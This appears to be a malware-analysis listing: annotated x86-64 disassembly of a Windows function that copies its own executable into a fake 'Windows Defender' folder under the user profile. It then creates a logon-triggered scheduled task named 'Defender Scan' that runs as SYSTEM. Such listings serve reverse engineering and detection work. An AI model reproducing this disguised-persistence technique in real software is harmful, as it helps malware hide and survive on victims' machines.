Function at 0x1400018a6
Capabilities:
Execute command
Query environment variable
Schedule task via schtasks

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x130], rcx
lea rax, [rbp + 0x4d]
mov rcx, rax
call fcn.140068ef0
lea rax, str.userprofile
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rdx, rax
lea rcx, [rbp + 0x4d]
lea rax, [rbp + 0x20]
mov r8, rcx
mov rcx, rax
call fcn.1400a0970
lea rax, [rbp + 0x4d]
mov rcx, rax
call fcn.140068f20
lea rax, [rbp + 0x20]
lea rdx, str.AppDataLocalWindows_Defender
mov rcx, rax
call fcn.1400a1270
mov rax, rbp
mov rdx, qword [rbp + 0x130]
mov rcx, rax
call fcn.1400015bf
lea rax, [rbp + 0x4e]
mov rcx, rax
call fcn.140068ef0
lea rcx, [rbp + 0x4e]
mov rdx, qword [rbp + 0x130]
lea rax, [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call fcn.1400a0970
lea rax, [rbp + 0x4e]
mov rcx, rax
call fcn.140068f20
lea rdx, [rbp + 0x20]
mov rax, rbp
mov rcx, rax
call fcn.1400b1580
test al, al
je 0x140001b63
lea rax, [rbp + 0x4f]
mov rcx, rax
call fcn.140068ef0
lea rdx, [rbp + 0x4f]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.mkdir__
mov rcx, rax
call fcn.1400a0970
lea rax, [rbp + 0x4f]
mov rcx, rax
call fcn.140068f20
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x20]
lea r8, [0x14044d089]
mov rcx, rax
call fcn.1400b1770
lea rdx, [rbp + 0x50]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a1330
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400a1090
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400266f0
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, [rbp - 0x60]
lea rdx, str.COPY__
mov rcx, rax
call fcn.1400a11a0
lea rax, [rbp + 0xd0]
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call fcn.1400b17d0
lea rax, [rbp + 0xb0]
lea rdx, [rbp + 0xd0]
lea r8, [0x14044d0bf]
mov rcx, rax
call fcn.1400b15d0
lea rax, [rbp + 0x90]
lea rcx, [rbp + 0x20]
lea rdx, [rbp + 0xb0]
mov r8, rcx
mov rcx, rax
call fcn.1400b1620
lea rax, [rbp + 0x70]
lea rdx, [rbp + 0x90]
lea r8, str.Windows_Defender.exe_
mov rcx, rax
call fcn.1400b15d0
lea rdx, [rbp + 0x70]
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.1400a10d0
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.1400a1090
lea rax, [rbp + 0x90]
mov rcx, rax
call fcn.1400a1090
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.1400a1090
lea rax, [rbp + 0xd0]
mov rcx, rax
call fcn.1400a1090
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.1400266f0
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.userprofile
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rdx, rax
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.1400a11a0
lea rax, [rbp + 0x20]
lea rdx, str.AppDataLocalWindows_DefenderWindows_Defender.exe
mov rcx, rax
call fcn.1400a1270
lea rax, [rbp + 0xf0]
lea rdx, [rbp + 0x20]
mov r8, rdx
lea rdx, str.SCHTASKS__CREATE__SC_ONLOGON__TN__Windows_DefenderDefender_Scan___TR__
mov rcx, rax
call fcn.1400b1670
lea rax, [rbp - 0x40]
lea rdx, [rbp + 0xf0]
lea r8, str.___F__RU__SYSTEM_
mov rcx, rax
call fcn.1400b15d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.1400a1090
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400266f0
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a1090
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a1090
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400a1090
mov rax, rbp
mov rcx, rax
call fcn.1400a1090
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.1400a1090
jmp 0x140001c82
add rsp, 0x198
pop rbx
pop rbp
ret